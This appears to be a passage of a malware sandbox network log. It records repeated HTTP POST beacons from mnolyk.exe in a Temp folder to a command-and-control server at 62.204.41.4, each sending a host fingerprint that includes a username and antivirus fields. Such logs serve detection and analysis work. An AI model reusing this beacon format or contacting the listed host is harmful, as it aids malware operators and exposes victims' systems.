Feb 7, 2023 23:08:35.470330954 CET	461	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.7	50042	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:36.263611078 CET	462	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:36.325232983 CET	462	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.7	50043	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:36.948525906 CET	463	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:37.014750957 CET	463	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.7	50044	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:37.214832067 CET	464	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:37.280854940 CET	464	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	49729	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:10.061029911 CET	139	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:10.126115084 CET	139	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.7	50045	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:37.461652040 CET	465	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:37.524796009 CET	465	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.7	50046	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:37.701236963 CET	466	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:37.763130903 CET	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.7	50047	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:37.932300091 CET	467	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:37.994133949 CET	467	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.7	50048	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:38.164092064 CET	468	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:38.228632927 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.7	50049	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:38.401505947 CET	469	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:38.466819048 CET	469	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.7	50050	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:38.652718067 CET	470	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:38.718818903 CET	470	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.7	50051	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:38.908724070 CET	471	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:38.970972061 CET	471	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.7	50052	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:39.150059938 CET	472	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:39.214437008 CET	472	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.7	50053	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:39.384368896 CET	473	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:39.449167967 CET	473	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.7	50054	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:39.617227077 CET	474	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:39.679996967 CET	474	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	49730	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:10.313178062 CET	140	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:10.379033089 CET	140	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.7	50055	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:39.857527018 CET	475	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:39.919043064 CET	475	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.7	50056	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:40.088529110 CET	476	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:40.152849913 CET	476	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.7	50057	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:40.336370945 CET	477	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:40.399558067 CET	477	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.7	50058	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:40.571513891 CET	478	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:40.634928942 CET	478	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.7	50059	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:40.814145088 CET	479	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:40.878601074 CET	479	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.7	50060	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:41.073046923 CET	480	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:41.137222052 CET	480	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.7	50061	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
